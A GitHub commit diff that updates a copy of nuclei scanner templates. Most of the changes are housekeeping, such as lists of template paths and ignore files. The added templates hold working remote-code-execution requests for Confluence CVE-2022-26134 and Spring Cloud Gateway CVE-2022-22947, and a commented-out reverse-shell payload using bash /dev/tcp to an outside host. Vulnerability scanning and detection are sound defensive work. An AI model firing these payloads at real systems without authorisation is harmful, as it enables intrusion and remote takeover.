Skip to content

Commit 05e1cda

Browse files
x51pwnx51pwn
committed
fix nuclei-templeates 2022-07-06 13:51:1657086717
1 parent 058e81b commit 05e1cda

23 files changed

+521
-4092
lines changed

‎config/nuclei-templates/.checksum

Lines changed: 0 additions & 3728 deletions
This file was deleted.

‎config/nuclei-templates/.github/workflows/template-validate.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,5 +25,5 @@ jobs:
2525
- name: Template Validation
2626
run: |
2727
cp -r ${{ github.workspace }} $HOME
28-
nuclei -validate -t .
28+
nuclei -validate -t . -et .git/
2929
nuclei -validate -w ./workflows

‎config/nuclei-templates/.gitignore

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
.idea/
2+
.DS_Store
3+
local/
4+
.checksum
5+
.new-additions

‎config/nuclei-templates/.new-additions

Lines changed: 28 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -1,57 +1,28 @@
1-
cves/2018/CVE-2018-14918.yaml
2-
cves/2019/CVE-2019-18665.yaml
3-
cves/2019/CVE-2019-20210.yaml
4-
cves/2021/CVE-2021-25085.yaml
5-
cves/2021/CVE-2021-27309.yaml
6-
cves/2022/CVE-2022-29299.yaml
7-
cves/2022/CVE-2022-29301.yaml
8-
exposed-panels/fuji-xerox-printer-detect.yaml
9-
exposed-panels/geoserver-login-panel.yaml
10-
exposed-panels/ibm/ibm-maximo-login.yaml
11-
exposed-panels/ibm/ibm-websphere-admin-panel.yaml
12-
exposed-panels/ictprotege-login-panel.yaml
13-
exposed-panels/magento-downloader-panel.yaml
14-
exposed-panels/officekeeper-admin-login.yaml
15-
exposed-panels/qnap/qnap-photostation-panel.yaml
16-
exposed-panels/qnap/qnap-qts-panel.yaml
17-
exposed-panels/synopsys-coverity-panel.yaml
18-
exposures/configs/editor-exposure.yaml
19-
exposures/files/vagrantfile-exposure.yaml
20-
headless/screenshot.yaml
21-
technologies/hashicorp-boundary-detect.yaml
22-
token-spray/api-1forge.yaml
23-
token-spray/api-airtable.yaml
24-
token-spray/api-amdoren.yaml
25-
token-spray/api-api2convert.yaml
26-
token-spray/api-apiflash.yaml
27-
token-spray/api-blitapp.yaml
28-
token-spray/api-browshot.yaml
29-
token-spray/api-currencyfreaks.yaml
30-
token-spray/api-currencylayer.yaml
31-
token-spray/api-currencyscoop.yaml
32-
token-spray/api-exchangerateapi.yaml
33-
token-spray/api-gorest.yaml
34-
token-spray/api-host-io.yaml
35-
token-spray/api-hunter.yaml
36-
token-spray/api-ip2whois.yaml
37-
token-spray/api-ipfind.yaml
38-
token-spray/api-jsonbin.yaml
39-
token-spray/api-lob.yaml
40-
token-spray/api-mac-address-lookup.yaml
41-
token-spray/api-open-page-rank.yaml
42-
token-spray/api-opengraphr.yaml
43-
token-spray/api-pagecdn.yaml
44-
token-spray/api-proxycrawl.yaml
45-
token-spray/api-proxykingdom.yaml
46-
token-spray/api-savepage.yaml
47-
token-spray/api-scraperapi.yaml
48-
token-spray/api-scraperbox.yaml
49-
token-spray/api-scrapestack.yaml
50-
token-spray/api-scrapingant.yaml
51-
token-spray/api-scrapingdog.yaml
52-
token-spray/api-screenshotapi.yaml
53-
token-spray/api-serpstack.yaml
54-
token-spray/api-supportivekoala.yaml
55-
token-spray/api-wordnik.yaml
56-
token-spray/api-zenrows.yaml
57-
vulnerabilities/other/finecms-sqli.yaml
1+
cves/2022/CVE-2022-24129.yaml
2+
cves/2022/CVE-2022-26960.yaml
3+
cves/2022/CVE-2022-33174.yaml
4+
exposed-panels/audiocodes-detect.yaml
5+
exposed-panels/docebo-elearning-panel.yaml
6+
exposed-panels/highmail-admin-panel.yaml
7+
exposed-panels/horde-login-panel.yaml
8+
exposed-panels/horde-webmail-login.yaml
9+
exposed-panels/powerjob-panel.yaml
10+
exposed-panels/qmail-admin-login.yaml
11+
exposed-panels/sqwebmail-login-panel.yaml
12+
exposed-panels/telerik-server-login.yaml
13+
exposed-panels/webshell4-login-panel.yaml
14+
exposures/configs/parameters-config.yaml
15+
exposures/files/cloud-config.yaml
16+
exposures/files/docker-cloud.yaml
17+
exposures/files/redmine-config.yaml
18+
exposures/files/redmine-settings.yaml
19+
exposures/files/ruby-rail-storage.yaml
20+
exposures/files/secrets-file.yaml
21+
exposures/files/symfony-security.yaml
22+
misconfiguration/confluence/confluence-oauth-admin.yaml
23+
network/openssh-detection.yaml
24+
technologies/cloudfoundry-detect.yaml
25+
technologies/matrix-detect.yaml
26+
technologies/openresty-detect.yaml
27+
vulnerabilities/other/elFinder-path-traversal.yaml
28+
vulnerabilities/wordpress/wp-insert-php-xss.yaml

‎config/nuclei-templates/.nuclei-ignore

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# ==| Nuclei Templates Ignore list |==
2+
# ====================================
3+
#
4+
# This is default list of tags and files to excluded from default nuclei scan.
5+
# More details - https://nuclei.projectdiscovery.io/nuclei/get-started/#template-exclusion
6+
#
7+
# ============ DO NOT EDIT ============
8+
# Automatically updated by nuclei on execution from nuclei-templates
9+
# User changes should be in nuclei config file
10+
# ============ DO NOT EDIT ============
11+
12+
# tags is a list of tags to ignore execution for
13+
# unless asked for by the user.
14+
15+
tags:
16+
- "fuzz"
17+
- "dos"
18+
19+
# files is a list of files to ignore template execution
20+
# unless asked for by the user.
21+
22+
# files:
23+
# - cves/2020/CVE-2020-35489.yaml

‎config/nuclei-templates/51pwn/51pwn/51pwn/Confluence_CVE-2022-26134.yaml

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
id: atlassian_confluence_CVE_2022_26134_RCE
2+
info:
3+
name: atlassian_confluence_CVE_2022_26134_RCE
4+
author: 51pwn
5+
severity: critical
6+
reference:
7+
- https://github.com/hktalent/nuclei-templates
8+
- https://51pwn.com
9+
tags: atlassian,confluence,CVE-2022-26134,web,RCE
10+
11+
variables:
12+
# for check
13+
# .(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
14+
# SetHd: ".%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
15+
# SetPld: "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29"
16+
# id
17+
# %28java.net.InetAddress.getByName%28%22{{interactsh-url}}%2229%29%.
18+
# CheckPayload: "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22Host%22%2C%23a%29%29%7D/"
19+
CheckPayload1: "%24%7B%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22Host%22%2C%22{{randstr}}%22%29%7D/"
20+
# CheckPayload1: "%24%7B%28java.net.InetAddress.getByName%28%22{{interactsh-url}}%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22Host%22%2C%2251pwn%22%29%29%7D/"
21+
# for reverse
22+
# RvsHst: "51pwn.com"
23+
# RvsHstPort: "9999"
24+
# RvsPayload: "/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/{{RvsHst}}/{{RvsHstPort}}%200%3E%261%27%29.start%28%29%22%29%7D/"
25+
# GET {{mypaths}}/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/docker.for.mac.localhost/9999%200%3E%261%27%29.start%28%29%22%29%7D/ HTTP/1.1
26+
# # 107.182.191.202
27+
requests:
28+
- raw:
29+
# - |+
30+
# GET {{mypaths}}/{{RvsPayload}} HTTP/1.1
31+
# Host: {{Hostname}}
32+
# User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
33+
# Accept:*/*
34+
# Pragma:no-cache
35+
# Accept-Encoding:gzip, deflate
36+
# Connection: close
37+
# Content-Length: 0
38+
39+
- |+
40+
GET {{mypaths}}/{{CheckPayload1}} HTTP/1.1
41+
Host: {{Hostname}}
42+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
43+
Accept:*/*
44+
Pragma:no-cache
45+
Accept-Encoding:gzip, deflate
46+
Connection: close
47+
Content-Length: 0
48+
49+
# end payload
50+
payloads:
51+
mypaths:
52+
- "/bootstrap"
53+
- ""
54+
attack: pitchfork
55+
unsafe: true
56+
# pipeline: true
57+
# pipeline-concurrent-connections: 40
58+
# pipeline-requests-per-connection: 25000
59+
cookie-reuse: true
60+
req-condition: true
61+
stop-at-first-match: true
62+
# matchers-condition: or
63+
matchers:
64+
- type: regex
65+
part: header
66+
regex:
67+
- '(uid=[^\n\r\\]+)'
68+
- type: word
69+
part: header
70+
words:
71+
- "Host: {{randstr}}"
72+
# - type: word
73+
# part: interactsh_protocol
74+
# words:
75+
# - "dns"
76+
condition: or
77+
extractors:
78+
- type: regex
79+
part: header
80+
name: uid
81+
regex:
82+
- '(uid=[^\n\r\\]+)'
83+
# - '(X-Confluence-Request-Time)'
84+
- type: regex
85+
part: header
86+
name: host
87+
regex:
88+
- '({{randstr}})'

‎config/nuclei-templates/51pwn/51pwn/51pwn/goSwaggerAPI.yaml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
id: go-swagger-api-leak
2+
3+
info:
4+
name: go swagger api leak
5+
description: doNuclei http://127.0.0.1:8080 goSwaggerAPI.yaml
6+
author: 51pwn
7+
severity: medium
8+
tags: web,api,leak
9+
10+
requests:
11+
- raw:
12+
- |+
13+
GET /swagger/doc.json HTTP/1.1
14+
Host: {{Hostname}}
15+
16+
unsafe: true
17+
18+
matchers:
19+
- type: word
20+
part: body
21+
words:
22+
- '"application/json"'
23+
- '"post"'
24+
- '"parameters"'
25+
- 'responses'
26+
condition: and

‎config/nuclei-templates/51pwn/51pwn/51pwn/spring_cloud_gateway_CVE_2022_22947.yaml

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
id: spring_cloud_gateway_CVE_2022_22947
2+
3+
info:
4+
name: spring_cloud_gateway_CVE_2022_22947
5+
author: 51pwn
6+
severity: critical
7+
reference:
8+
- https://github.com/hktalent/nuclei-templates
9+
- https://51pwn.com
10+
tags: spring,CVE-2022-22947,RCE,web,gateway,actuator
11+
12+
requests:
13+
- raw:
14+
- |+
15+
POST /actuator/gateway/routes/hack_51pwn_com HTTP/1.1
16+
Host: {{Hostname}}
17+
Accept:*/*
18+
Pragma:no-cache
19+
Content-Type: application/json
20+
Connection: keep-alive
21+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
22+
Content-Length: 333
23+
24+
{
25+
"id": "hacktest",
26+
"filters": [{
27+
"name": "AddResponseHeader",
28+
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
29+
}],
30+
"uri": "https://51pwn.com",
31+
"order": 0
32+
}
33+
- |+
34+
POST /actuator/gateway/refresh HTTP/1.1
35+
Host: {{Hostname}}
36+
Accept:*/*
37+
Connection: keep-alive
38+
Pragma:no-cache
39+
Content-Type: application/x-www-form-urlencoded
40+
Content-Length: 0
41+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
42+
43+
- |+
44+
GET /actuator/gateway/routes/hack_51pwn_com HTTP/1.1
45+
Host: {{Hostname}}
46+
Accept:*/*
47+
Connection: keep-alive
48+
Pragma:no-cache
49+
Content-Length: 0
50+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
51+
52+
- |+
53+
DELETE /actuator/gateway/routes/hack_51pwn_com HTTP/1.1
54+
Host: {{Hostname}}
55+
Accept:*/*
56+
Connection: keep-alive
57+
Pragma:no-cache
58+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
59+
60+
- |+
61+
POST /actuator/gateway/refresh HTTP/1.1
62+
Host: {{Hostname}}
63+
Accept:*/*
64+
Connection: close
65+
Pragma:no-cache
66+
Content-Type: application/x-www-form-urlencoded
67+
Content-Length: 0
68+
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
69+
70+
71+
72+
73+
# end payload
74+
unsafe: true
75+
pipeline: true
76+
pipeline-concurrent-connections: 40
77+
pipeline-requests-per-connection: 25000
78+
cookie-reuse: true
79+
req-condition: true
80+
# matchers-condition: or
81+
matchers:
82+
- type: regex
83+
regex:
84+
- '(uid=[^\n\\]+)'
85+
extractors:
86+
- type: regex
87+
part: body
88+
name: xxxx
89+
regex:
90+
- '(uid=[^\n\\]+)'

‎config/nuclei-templates/network/weblogic-bea_wls_internal-detect.yaml renamed to ‎config/nuclei-templates/51pwn/51pwn/51pwn/weblogic-bea_wls_internal-detect.yaml

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,6 @@ requests:
1515
GET /bea_wls_internal/classes/mejb@/org/omg/stub/javax/management/j2ee/_ManagementHome_Stub.class HTTP/1.1
1616
Host: {{Hostname}}
1717
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
18-
1918
redirects: true
2019
max-redirects: 5
2120

@@ -39,4 +38,3 @@ requests:
3938
part: body
4039
binary:
4140
- "fecabeba"
42-

0 commit comments

Comments
 (0)